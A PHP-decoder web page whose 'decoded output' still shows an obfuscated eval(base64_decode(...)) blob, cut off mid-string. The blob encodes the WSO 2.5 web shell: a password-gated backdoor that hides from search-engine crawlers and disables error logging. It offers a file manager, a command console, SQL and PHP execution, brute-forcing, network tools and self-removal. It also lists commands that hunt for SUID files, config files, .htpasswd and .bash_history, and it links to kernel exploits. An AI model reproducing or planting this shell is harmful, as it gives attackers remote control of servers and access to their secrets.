Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?PhP EVaL(BAsE64_DEcODe('JGF1dGhfcGFzcyA9ICIzZGE0ZDUxMzUxOGNlNjNhNzgyNjMzMTI0NTdlODE5YiI..

Decoded Output download

<?PhP 
EVaL(BAsE64_DEcODe('JGF1dGhfcGFzcyA9ICIzZGE0ZDUxMzUxOGNlNjNhNzgyNjMzMTI0NTdlODE5YiI7DQokY29sb3IgPSAiIzY2NjY2NiI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIFdTT3N0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHJpcHNsYXNoZXMoJF9DT09LSUUpOw0KfQ0KDQpmdW5jdGlvbiB3c29Mb2dpbigpIHsNCglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PnBBc1N3MFJkfjogPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3ByZT4iKTsNCn0NCg0KZnVuY3Rpb24gV1NPc2V0Y29va2llKCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHNldGNvb2tpZSgkaywgJHYpOw0KfQ0KDQppZighZW1wdHkoJGF1dGhfcGFzcykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpDQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGF1dGhfcGFzcyk7DQoNCiAgICBpZiAoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkgfHwgKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSAhPSAkYXV0aF9wYXNzKSkNCiAgICAgICAgd3NvTG9naW4oKTsNCn0NCg0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKQ0KCSRvcyA9ICd3aW4nOw0KZWxzZQ0KCSRvcyA9ICduaXgnOw0KDQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYoISRzYWZlX21vZGUpDQogICAgZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsNCmlmKGlzc2V0KCRfUE9TVFsnYyddKSkNCglAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnZXRjd2QoKTsNCmlmKCRvcyA9PSAnd2luJykgew0KCSRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsNCgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJykNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSkpDQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7DQoNCmlmKCRvcyA9PSAnd2luJykNCgkkYWxpYXNlcyA9IGFycmF5KA0KCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLA0KICAgIAkiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwNCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsDQogICAgCSJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAgICAJIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsDQogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLA0KICAgIAkiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQoJCSJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQoJKTsNCmVsc2UNCgkkYWxpYXNlcyA9IGFycmF5KA0KICAJCSJMaXN0IGRpciIgPT4gImxzIC1saGEiLA0KCQkibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwNCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwNCiAgICAgICAgInByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwNCgkJIkZpbmQiID0+ICIiLA0KICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAJCSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAJCSJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwNCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogIAkJImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogIAkJImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCiAgCQkiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KCQkiTG9jYXRlIiA9PiAiIiwNCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsDQoJCSJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLA0KCQkibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLA0KCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwNCgkJImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLA0KCQkibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsDQoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwNCgkJImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwNCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsDQoJCSJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLA0KCQkibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsDQoJCSJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLA0KCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwNCgkJImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsDQoJCSJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwNCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsDQoJCSJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsDQoJCSJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwNCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwNCgkJImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLA0KCQkibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiINCgkpOw0KDQpmdW5jdGlvbiB3c29IZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCglnbG9iYWwgJGNvbG9yOw0KCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7Y29sb3I6I0ZGNjYwMDt9DQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNGRjY2MDA7IH0NCnRhYmxlLmluZm97IGNvbG9yOiNGRjY2MDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgI0ZGNjYwMDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNGRjY2MDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7O30NCi5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzAwMDAwMH0NCi5sMXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDB9DQoubDJ7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwfQ0KcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30NCjwvc3R5bGU+DQo8c2NyaXB0Pg0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOw0KICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJtaXQoKTsNCgl9DQoJZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQoJCWZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOw0KCQlzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9kZXNjcmlwdGlvbj0nOw0KCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpDQoJCSRleHBsaW5rIC49IHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSk7DQoJZWxzZQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsNCgkJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KCQkkdWlkID0gQGdldG15dWlkKCk7DQoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsNCgkJJGdyb3VwID0gIj8iOw0KCX0gZWxzZSB7DQoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsNCgkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJCSRnaWQgPSAkZ2lkWydnaWQnXTsNCgl9DQoNCgkkY3dkX2xpbmtzID0gJyc7DQoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jb3VudCgkcGF0aCk7DQoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsNCgkJJGN3ZF9saW5rcyAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOw0KCQlmb3IoJGo9MDsgJGo8PSRpOyAkaisrKQ0KCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KCQkkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7DQoJfQ0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJ1VURi04JywgJ1dpbmRvd3MtMTI1MScsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwODY2Jyk7DQoJJG9wdF9jaGFyc2V0cyA9ICcnOw0KCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQ0KCQkkb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7DQoNCgkkbSA9IGFycmF5KCdTZWMuIGlOZjAnPT4nU2VjSW5mbycsJ2ZpTGVTJz0+J0ZpbGVzTWFuJywnYzBuc09MZSc9PidDb25zb2xlJywnc1FMJz0+J1NxbCcsJ3BIcCc9PidwaHAnLCdzVHJpTmdUMDBMcyc9PidTdHJpbmdUb29scycsJ2JSVVRlZjByY0UnPT4nQnJ1dGVmb3InLCduRXR3MHJLJz0+J05ldHdvcmsnKTsNCglpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkNCgkJJG1bJ0wwZ29VdCddID0gJ0xvZ291dCc7DQoJJG1bJ3NFTEYgckVtMHZFJ10gPSAnU2VsZlJlbW92ZSc7DQoJJG1lbnUgPSAnJzsNCglmb3JlYWNoKCRtIGFzICRrID0+ICR2KQ0KCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOw0KDQoJJGRyaXZlcyA9ICIiOw0KCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQoJCWZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQ0KCQlpZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCgl9DQoJZWNobyAnPHRhYmxlIGNsYXNzPWluZm8gY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPjx0ZCB3aWR0aD0xPjxzcGFuPnVOQW1FOjxicj5Vc0VyOjxicj5wSHA6PGJyPmhERDo8YnI+Y1dkOicgLiAoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykgLiAnPC9zcGFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFuaz5bekVnQEhvVG1BaUwuQ29NXTwvYT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Z3JlZW4+PGI+T0ZGPC9iPjwvZm9udD4nKQ0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJ